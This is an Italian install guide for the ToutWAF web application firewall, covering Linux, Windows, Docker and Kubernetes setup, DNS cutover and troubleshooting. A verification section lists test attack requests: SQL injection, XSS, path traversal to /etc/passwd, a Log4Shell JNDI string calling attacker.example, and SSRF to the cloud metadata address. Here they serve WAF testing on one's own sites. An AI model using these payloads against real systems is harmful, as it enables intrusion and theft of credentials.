Installa ToutWAF passo dopo passo
Procedure da copiare e incollare per AlmaLinux 10, altre distribuzioni Linux, Windows, Docker e Kubernetes. Binari nativi: nessun runtime da installare. Poi esegui la procedura guidata, cambia il DNS e verifica.
Quale versione installi
La versione pubblica è una versione di sviluppo, chiamata 0.3.0-dev. Il suo nome non cambia: ogni pubblicazione sostituisce la precedente e un identificativo di build distingue due build. Non esiste ancora una versione stabile: sarà pubblicata solo quando ogni sistema e ogni pacchetto saranno stati testati end to end. I comandi di questa pagina installano quindi dal canale dev. Una versione di sviluppo può contenere difetti: provala su un sito di prova prima di farci affidamento.
Requisiti
Un server a 64 bit (amd64 o arm64) con Linux o Windows, accesso root o amministratore e le porte 80 e 443 libere. La console ascolta sulla porta 9443, sotto un percorso segreto. I dettagli su requisiti e dipendenze sono qui sotto.
Requisiti e dipendenze
Di cosa ha bisogno il tuo server, cosa aggiunge l'installer e cosa resta facoltativo.
Sistemi supportati
Linux con systemd 239 o successivo e glibc 2.28 o successiva, su amd64 o arm64: AlmaLinux, Rocky Linux, RHEL e Oracle Linux dall'8 al 10, CentOS Stream, Fedora, Amazon Linux 2023, Debian dall'11 al 13, Ubuntu dal 20.04 al 26.04, openSUSE e Arch (tabella completa sotto). Windows 10, 11 e Server dal 2016 al 2025 (non ancora eseguito su un vero host Windows). L'installer controlla il tuo sistema prima di modificare qualsiasi cosa. Server che aggiungi dalla console: l'agente host esiste per Linux (amd64, arm64) e Windows (amd64).
Porte di rete
80 e 443: traffico web (data plane). 9443: console (modificabile con --cp-port). 9444: API usata dai nodi data plane e dagli agenti dei server; l'installer non la apre, consentila solo dai tuoi server. 127.0.0.1:9101: endpoint di salute locale. L'UDP 443 resta chiuso (HTTP/3 non è implementato). Gli agenti dei server effettuano solo connessioni in uscita verso la porta 9444.
Cosa fa l'installer
Richiede i diritti di root o amministratore e HTTPS in uscita per scaricare la versione. Installa curl, tar e libcap se mancano (e policycoreutils-python-utils sui sistemi SELinux), crea un utente toutwaf senza privilegi e una cartella di installazione unica (/var/toutwaf con bin, conf, data e logs; --home DIR la cambia, e un'installazione precedente mantiene i suoi percorsi), installa servizi systemd rinforzati (servizi Windows su Windows), permette al data plane di usare le porte 80 e 443 senza root, apre il firewall per impostazione predefinita quando firewalld o ufw è attivo (80, 443 e la porta della console; --console-from limita la console, --no-firewall lo disattiva), etichetta i file per SELinux e verifica le somme SHA-256.
Lingua dell'installer
Inglese di default; l'installer rileva la lingua di sistema. Forzatene una con --fr --de --es --it --pt --nl --ru --zh --ar o --en (Windows: -Fr ecc., o la variabile TOUTWAF_LANG).
Binari autonomi
Il data plane è scritto in Rust, il control plane e l'agente in Go, e la console è incorporata nel control plane. Nessun runtime Python, Node.js o Java e nessun server di database da installare: i dati sono in SQLite. Il data plane Rust richiede glibc 2.28 o successiva. Principali componenti di terze parti: tokio, hyper e rustls (Rust), Svelte e xterm.js (console).
Componenti facoltativi
ClamAV per le scansioni antivirus degli host Linux (la console può installarlo per te); Microsoft Defender su Windows. openssl solo se attivi la verifica della firma delle versioni, cosign solo se vuoi verificare le firme con esso. Docker non è necessario: i manifest Docker e Kubernetes sono modalità di distribuzione alternative.
ToutPanel (server di web hosting)
Si installa dalla console via SSH, oppure con il proprio installer. Linux: Debian da 11 a 13, Ubuntu da 20.04 a 24.04, AlmaLinux, Rocky Linux e RHEL 9 e 10, Fedora 40 e successive. Windows 10 e 11, Windows Server dal 2016 al 2025. Richiede root e bash (Linux) o PowerShell 5.1+ come amministratore (Windows), Python da 3.9 a 3.14 (installato dallo script se la distribuzione lo fornisce), almeno 1 GB di RAM (2 GB consigliati con MariaDB e PHP), 2 GB di disco libero più i tuoi siti e HTTPS in uscita. Il suo pannello ascolta di default sulla porta 8888; le porte 80 e 443 servono i siti. Fonte: il README di ToutPanel.
ToutWAF non pubblica ancora valori minimi di CPU, RAM o disco: dimensiona il server con un test sul tuo traffico.
Sistemi supportati
Verificati dall'installer prima di modificare qualsiasi cosa. Gli stati provengono dai dati dell'installer stesso.
- tested Il test di installazione completo in container è passato su quella versione esatta.
- expected Stessa famiglia, glibc e systemd abbastanza recenti, ma il test completo non è stato eseguito.
- unsupported Rifiutato prima di qualsiasi modifica (aggirabile a proprio rischio con --skip-os-check).
| Distribuzione | Versioni |
|---|---|
| AlmaLinux | 10tested9tested8tested |
| Rocky Linux | 10tested9tested8tested |
| Red Hat Enterprise Linux | 10tested9tested8tested7unsupported |
| CentOS Stream | 10tested9tested8unsupported7unsupported |
| Oracle Linux | 10tested9tested8tested7unsupported |
| Fedora | 44tested43tested42tested41tested |
| Amazon Linux | 2023tested2unsupported |
| Debian | 13tested12tested11tested10unsupported |
| Ubuntu | 26.04tested25.10tested24.04tested22.04tested20.04tested18.04unsupported |
| Linux Mint / LMDE | tutte le versioniexpected |
| Pop!_OS | tutte le versioniexpected |
| Zorin OS | tutte le versioniexpected |
| elementary OS | tutte le versioniexpected |
| Kali Linux | rollingexpected |
| Raspberry Pi OS (32-bit, Raspbian) | tutte le versioniunsupported |
| Devuan | tutte le versioniunsupported |
| openSUSE Leap | 16.0tested15.6tested |
| openSUSE Tumbleweed | rollingtested |
| openSUSE Slowroll | rollingexpected |
| SUSE Linux Enterprise Server | 16.0expected15.7expected15.6expected |
| SUSE Linux Micro / MicroOS / Aeon | tutte le versioniunsupported |
| openSUSE MicroOS / Aeon / Kalpa | tutte le versioniunsupported |
| Arch Linux | rollingtested |
| Manjaro | rollingexpected |
| EndeavourOS | rollingexpected |
| Garuda Linux | rollingexpected |
| CachyOS | rollingexpected |
| Artix Linux | tutte le versioniunsupported |
| Alpine Linux | tutte le versioniunsupported |
| Void Linux | tutte le versioniunsupported |
| NixOS | tutte le versioniunsupported |
| Windows | Windows 11expectedWindows 10expectedWindows Server 2025expectedWindows Server 2022expectedWindows Server 2019expectedWindows Server 2016expected |
La procedura guidata: da zero a un sito protetto
Al primo avvio la procedura guidata web ti porta da zero a un sito protetto, in modalità rilevamento, senza rompere nulla.
Dominio e origine
Inserisci il dominio pubblico e l'indirizzo del tuo server.
Certificato automatico
Un certificato dell'autorità che scegli (Let's Encrypt per impostazione predefinita) viene richiesto e rinnovato per te.
Rilevamento dello stack
ToutWAF riconosce WordPress, Laravel, Django e altri.
Modello di policy
Viene proposto un modello su misura. Controllalo o mantieni quello predefinito.
Modalità rilevamento
Il traffico viene analizzato senza bloccare per qualche giorno, poi viene creato un report.
Passa al blocco
Un clic per applicare, un clic per tornare indietro.
- ✓Il 99,8% del traffico sarebbe consentito
- !3 regole causano il 95% dei falsi positivi
- ✓3 eccezioni proposte, pronte per la revisione
Aggiorna il sistema e installa i prerequisiti
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsInstalla con l'installer in una riga
Lo script scarica i binari nativi per la tua architettura, crea un utente dedicato senza privilegi e installa i servizi systemd rafforzati toutwaf-dp (data plane, porte 80 e 443) e toutwaf-cp (control plane e console, porta 9443), poi mostra le informazioni per il primo accesso.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashPreferisci leggere prima lo script?
Scaricalo, controllalo, poi eseguilo. Consigliato per i server di produzione.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOpzioni dell'installer
Una nuova installazione risiede in un'unica cartella, /var/toutwaf (bin, conf, data e logs; cambiala con --home DIR o TOUTWAF_HOME), e gli strumenti da riga di comando sono collegati in /usr/local/bin. Un'installazione precedente mantiene i propri percorsi (/etc/toutwaf, /var/lib/toutwaf) e non viene mai spostata.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devApri il firewall
L'installer apre queste porte per impostazione predefinita quando firewalld o ufw è attivo: 80 e 443, e la porta 9443 della console (limitala alla tua rete di amministrazione con --console-from). La porta 9444 degli agent non viene mai aperta al pubblico. Questi comandi servono solo con --no-firewall, con un altro firewall o per farlo a mano.
sudo systemctl enable --now firewalld
sudo firewall-cmd --permanent --add-service=http --add-service=https
sudo firewall-cmd --permanent --add-rich-rule='rule family="ipv4" source address="203.0.113.0/24" port port="9443" protocol="tcp" accept'
sudo firewall-cmd --reload
sudo firewall-cmd --list-allSELinux
Mantieni SELinux in modalità enforcing. Etichetta le directory di ToutWAF e verifica che non venga registrato alcun rifiuto AVC.
getenforce
sudo restorecon -Rv /var/toutwaf
sudo ausearch -m avc -ts recentGestisci i servizi
Entrambi i servizi si avviano al boot. Usa questi comandi per avviarli, fermarli o riavviarli.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpVerifica i servizi
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerAggiorna
Fai il backup della configurazione e dei dati, poi riesegui l'installer: mantiene le tue impostazioni e torna indietro da solo se la nuova versione non diventa sana. I percorsi mostrati sono quelli di una nuova installazione (/var/toutwaf); un'installazione precedente mantiene /etc/toutwaf e /var/lib/toutwaf. Puoi anche aggiornare dalla console, nella pagina Aggiornamenti.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDisinstalla
Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeAggiorna il sistema e installa i prerequisiti
sudo dnf -y update
sudo dnf -y install curl tar ca-certificates firewalld policycoreutils-python-utilsInstalla con l'installer in una riga
Lo script scarica i binari nativi per la tua architettura, crea un utente dedicato senza privilegi e installa i servizi systemd rafforzati toutwaf-dp (data plane, porte 80 e 443) e toutwaf-cp (control plane e console, porta 9443), poi mostra le informazioni per il primo accesso.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashPreferisci leggere prima lo script?
Scaricalo, controllalo, poi eseguilo. Consigliato per i server di produzione.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOpzioni dell'installer
Una nuova installazione risiede in un'unica cartella, /var/toutwaf (bin, conf, data e logs; cambiala con --home DIR o TOUTWAF_HOME), e gli strumenti da riga di comando sono collegati in /usr/local/bin. Un'installazione precedente mantiene i propri percorsi (/etc/toutwaf, /var/lib/toutwaf) e non viene mai spostata.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devGestisci i servizi
Entrambi i servizi si avviano al boot. Usa questi comandi per avviarli, fermarli o riavviarli.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpVerifica i servizi
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerAggiorna
Fai il backup della configurazione e dei dati, poi riesegui l'installer: mantiene le tue impostazioni e torna indietro da solo se la nuova versione non diventa sana. I percorsi mostrati sono quelli di una nuova installazione (/var/toutwaf); un'installazione precedente mantiene /etc/toutwaf e /var/lib/toutwaf. Puoi anche aggiornare dalla console, nella pagina Aggiornamenti.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDisinstalla
Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeInstalla i prerequisiti (apt)
sudo apt update && sudo apt -y upgrade
sudo apt -y install curl tar ca-certificates ufwInstalla con l'installer in una riga
Lo script scarica i binari nativi per la tua architettura, crea un utente dedicato senza privilegi e installa i servizi systemd rafforzati toutwaf-dp (data plane, porte 80 e 443) e toutwaf-cp (control plane e console, porta 9443), poi mostra le informazioni per il primo accesso.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bashPreferisci leggere prima lo script?
Scaricalo, controllalo, poi eseguilo. Consigliato per i server di produzione.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
less install.sh
sudo bash install.shOpzioni dell'installer
Una nuova installazione risiede in un'unica cartella, /var/toutwaf (bin, conf, data e logs; cambiala con --home DIR o TOUTWAF_HOME), e gli strumenti da riga di comando sono collegati in /usr/local/bin. Un'installazione precedente mantiene i propri percorsi (/etc/toutwaf, /var/lib/toutwaf) e non viene mai spostata.
# only let your admin network reach the console (port 9443)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --console-from 203.0.113.0/24
# do not touch the host firewall / choose the installation home
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --no-firewall
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --home /opt/toutwaf
# name the channel explicitly (the installer of the dev branch already takes the dev channel; no stable version exists yet)
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --channel devApri il firewall (ufw)
L'installer apre queste porte per impostazione predefinita quando firewalld o ufw è attivo: 80 e 443, e la porta 9443 della console (limitala alla tua rete di amministrazione con --console-from). La porta 9444 degli agent non viene mai aperta al pubblico. Questi comandi servono solo con --no-firewall, con un altro firewall o per farlo a mano.
sudo ufw allow 80,443/tcp
sudo ufw allow from 203.0.113.0/24 to any port 9443 proto tcp
sudo ufw --force enable
sudo ufw statusGestisci i servizi
Entrambi i servizi si avviano al boot. Usa questi comandi per avviarli, fermarli o riavviarli.
sudo systemctl enable --now toutwaf-cp toutwaf-dp
sudo systemctl restart toutwaf-cp toutwaf-dp
sudo systemctl stop toutwaf-dp toutwaf-cpVerifica i servizi
sudo systemctl status toutwaf-cp toutwaf-dp --no-pager
toutwafctl doctor
curl -kI https://127.0.0.1:9443/
curl -s http://127.0.0.1:9101/healthz
sudo journalctl -u toutwaf-dp -u toutwaf-cp -n 50 --no-pagerAggiorna
Fai il backup della configurazione e dei dati, poi riesegui l'installer: mantiene le tue impostazioni e torna indietro da solo se la nuova versione non diventa sana. I percorsi mostrati sono quelli di una nuova installazione (/var/toutwaf); un'installazione precedente mantiene /etc/toutwaf e /var/lib/toutwaf. Puoi anche aggiornare dalla console, nella pagina Aggiornamenti.
sudo mkdir -p /var/toutwaf.bak
sudo cp -a /var/toutwaf/conf /var/toutwaf/data /var/toutwaf.bak/
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh | sudo bash -s -- --update --yes
curl -s http://127.0.0.1:9101/healthzDisinstalla
Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.
curl -fsSL https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.sh -o install.sh
sudo bash install.sh --uninstallsudo bash install.sh --uninstall --purgeApri PowerShell come amministratore ed esegui l'installer
Installa i binari nativi, registra il servizio Windows ToutWAF per il data plane e un'attività di avvio per la console, e apre le porte del firewall. L'installer non è ancora stato eseguito su un vero host Windows.
Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass -Force
irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1 | iexApri il firewall
L'installer apre queste porte per impostazione predefinita quando firewalld o ufw è attivo: 80 e 443, e la porta 9443 della console (limitala alla tua rete di amministrazione con --console-from). La porta 9444 degli agent non viene mai aperta al pubblico. Questi comandi servono solo con --no-firewall, con un altro firewall o per farlo a mano.
New-NetFirewallRule -DisplayName "ToutWAF Web" -Direction Inbound -Protocol TCP -LocalPort 80,443 -Action Allow
New-NetFirewallRule -DisplayName "ToutWAF Console" -Direction Inbound -Protocol TCP -LocalPort 9443 -RemoteAddress 203.0.113.0/24 -Action AllowVerifica i servizi
Get-Service ToutWAF
toutwafctl doctor
Test-NetConnection 127.0.0.1 -Port 9443Aggiorna
Fai il backup della configurazione e dei dati, poi riesegui l'installer: mantiene le tue impostazioni e torna indietro da solo se la nuova versione non diventa sana. I percorsi mostrati sono quelli di una nuova installazione (/var/toutwaf); un'installazione precedente mantiene /etc/toutwaf e /var/lib/toutwaf. Puoi anche aggiornare dalla console, nella pagina Aggiornamenti.
Copy-Item "$env:ProgramData\ToutWAF" "$env:ProgramData\ToutWAF.bak" -Recurse
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Update -YesDisinstalla
Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.
& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall& ([scriptblock]::Create((irm https://repo.qu3ntin.com/toutwaf/toutwaf/-/raw/dev/install.ps1))) -Uninstall -PurgeDocker Compose su Mac o Linux
Docker Compose su Linux o su un Mac (Docker Desktop, OrbStack, Colima), con l'immagine tutto in uno (control plane e data plane). I file arrivano con la tua distribuzione ToutWAF (la cartella deploy, che non è nel repository pubblico: quello contiene solo binari e installer). L'immagine contiene binari precompilati per architettura (bin/amd64 o bin/arm64) e nessuna immagine è ancora pubblicata in un registry. Testata solo su Linux amd64; non provata su un vero Mac, dove l'IP del client visto dietro Docker Desktop è l'indirizzo del gateway Docker. Le credenziali monouso compaiono una sola volta nel log del control plane.
cd deploy/docker
# bin/amd64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Intel Mac, Linux x86-64)
# bin/arm64/{toutwaf-cp,toutwaf-dp,toutwafctl} (Apple Silicon, Linux ARM)
cp .env.example .env
docker compose up -d --build
docker compose logs toutwaf-cpAggiornare (container)
Fai prima un backup. Il pulsante di aggiornamento della console non può funzionare in un container: sostituisci i binari nella cartella bin (o l'immagine, quando ne sarà pubblicata una) e ricostruisci; i volumi, quindi i tuoi dati, vengono conservati.
docker compose up -d --buildDisinstalla
Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.
docker compose downdocker compose down -vInstalla con Helm
Distribuisce il data plane come ingress, con un control plane nel cluster se lo desideri. Il chart e i manifest (modalità sidecar inclusa) sono nella cartella deploy della tua distribuzione ToutWAF, non nel repository pubblico, che contiene solo binari e installer. L'operatore si limita a CRD e a uno scheletro.
helm install toutwaf ./deploy/helm/toutwaf --namespace toutwaf --create-namespace -f my-values.yamlVerifica i pod e apri la console
kubectl -n toutwaf get pods
kubectl -n toutwaf port-forward svc/toutwaf-cp 9443:9443Aggiornare (container)
Fai prima un backup. Il pulsante di aggiornamento della console non può funzionare in un container: sostituisci i binari nella cartella bin (o l'immagine, quando ne sarà pubblicata una) e ricostruisci; i volumi, quindi i tuoi dati, vengono conservati.
helm upgrade toutwaf ./deploy/helm/toutwaf --namespace toutwaf -f my-values.yamlDisinstalla
Il primo blocco rimuove i servizi, i binari e le regole del firewall aggiunte da ToutWAF, e conserva i tuoi dati. Il secondo elimina anche configurazione, dati e log.
helm uninstall toutwaf --namespace toutwafkubectl delete namespace toutwafDopo l'installazione: configura e verifica
Primo accesso
Apri il link segreto della console mostrato al termine dell'installazione (la console risponde solo sotto quel percorso), poi usa il link di configurazione monouso o la password amministratore generata una sola volta nel riepilogo. Attiva subito l'autenticazione a due fattori e crea un secondo amministratore per non restare mai chiuso fuori.
Console : https://<server>:9443/<secret-path>/ (printed by the installer)
CLI : toutwafctl --help
Health : http://127.0.0.1:9101/healthz (data plane, local only)Aggiungi il tuo primo sito
In Siti, fai clic su Nuovo sito e inserisci il dominio pubblico e l'upstream (l'indirizzo reale del tuo server). Inizia in modalità solo rilevamento, poi passa al blocco quando il report è pulito. I siti si possono creare anche con l'API REST e un token API.
curl -sk -X POST https://127.0.0.1:9443/api/v1/apps \
-H "Authorization: Bearer $TOUTWAF_TOKEN" \
-H 'Content-Type: application/json' \
-d '{"name":"example.com","hostnames":["example.com"],"origins":[{"url":"http://10.0.0.12:8080"}],"mode":"detect"}'Cambia il DNS
Riduci il TTL dei tuoi record il giorno prima. Poi punta i record A / AAAA del dominio al server ToutWAF. Quando il DNS si è propagato, il certificato viene emesso. Limita il firewall della tua origine in modo che solo il server ToutWAF possa raggiungerla.
example.com. 300 IN A 203.0.113.10
www.example.com. 300 IN CNAME example.com.sudo ufw allow from 203.0.113.10 to any port 8080 proto tcp
sudo ufw deny 8080/tcpVerifica con attacchi di prova
Ognuna di queste richieste deve restituire 403 e comparire in Attacchi (in modalità blocco). Eseguile solo sui tuoi siti.
curl -i "https://example.com/?id=1%27%20OR%20%271%27=%271"
curl -i "https://example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E"
curl -i --path-as-is "https://example.com/download?file=../../../../etc/passwd"
curl -i -H 'User-Agent: ${jndi:ldap://attacker.example/a}' https://example.com/
curl -i -A "sqlmap/1.7.2" https://example.com/
curl -i "https://example.com/?url=http://169.254.169.254/latest/meta-data/"
curl -i https://example.com/Risoluzione dei problemi
La console non è raggiungibile sulla porta 9443
Avvia il Dottore ToutWAF sul server: controlla i servizi, le porte e il firewall della macchina e dice cosa fare. Funziona anche dalla riga di comando quando la console stessa è irraggiungibile; l'eventuale gruppo di sicurezza del cloud davanti al server deve lasciar passare anche la porta 9443.
Richieste legittime vengono bloccate (falsi positivi)
Apri l'evento in Attacchi, leggi la spiegazione, poi fai clic sul pulsante falso positivo per creare l'eccezione più stretta, oppure abbassa il livello di paranoia del sito.
502 Bad Gateway
ToutWAF non raggiunge la tua origine. Apri il Dottore ToutWAF, riga «Server di origine»: dice se la porta rifiuta la connessione, se il nome non si risolve o se il certificato non è attendibile, e cosa fare. Controlla anche il firewall dell'origine.
L'emissione di Let's Encrypt non riesce
Il Dottore ToutWAF controlla il DNS (compreso un record AAAA dimenticato presso un CDN o un proxy) e la raggiungibilità della porta 80 prima di un ordine. Per un certificato wildcard usa la sfida DNS-01.
L'IP reale del client è sbagliato nella mia app
Leggi l'header X-Forwarded-For impostato da ToutWAF e fidati solo se proviene dall'indirizzo del server ToutWAF.
Dove sono i log?
Usa le pagine Log ed Eventi della console. I servizi scrivono anche nel journal di sistema della macchina e il Dottore produce un rapporto di testo che puoi inviare al supporto.